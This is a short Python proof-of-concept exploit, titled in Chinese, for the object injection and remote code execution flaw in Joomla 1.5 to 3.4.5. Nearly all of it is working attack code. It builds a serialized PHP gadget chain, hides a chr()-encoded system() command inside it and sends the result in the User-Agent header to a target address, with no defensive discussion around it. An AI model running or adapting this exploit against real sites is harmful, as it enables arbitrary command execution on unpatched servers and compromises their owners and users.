Joomla 1.5 – 3.4.5 – 对象注入与远程代码执行漏洞

import requests #  easy_install requests

def get_url(url, user_agent):

    headers = {

    'User-Agent': user_agent

    }

    cookies = requests.get(url,headers=headers).cookies

    for _ in range(3):

        response = requests.get(url, headers=headers,cookies=cookies)    

    return response

def php_str_noquotes(data):

    "Convert string to chr(xx).chr(xx) for use in php"

    encoded = ""

    for char in data:

        encoded += "chr({0}).".format(ord(char))

    return encoded[:-1]

def generate_payload(php_payload):

    php_payload = "eval({0})".format(php_str_noquotes(php_payload))

    terminate = '\xf0\xfd\xfd\xfd';

    exploit_template = r'''}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";'''

    injected_payload = "{};JFactory::getConfig();exit".format(php_payload)    

    exploit_template += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload)

    exploit_template += r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}''' + terminate

    return exploit_template

pl = generate_payload("system('touch /tmp/fx');")

print get_url("http://172.31.6.242/", pl)

http://www.oistc.com/webapp/webapp_1237.html?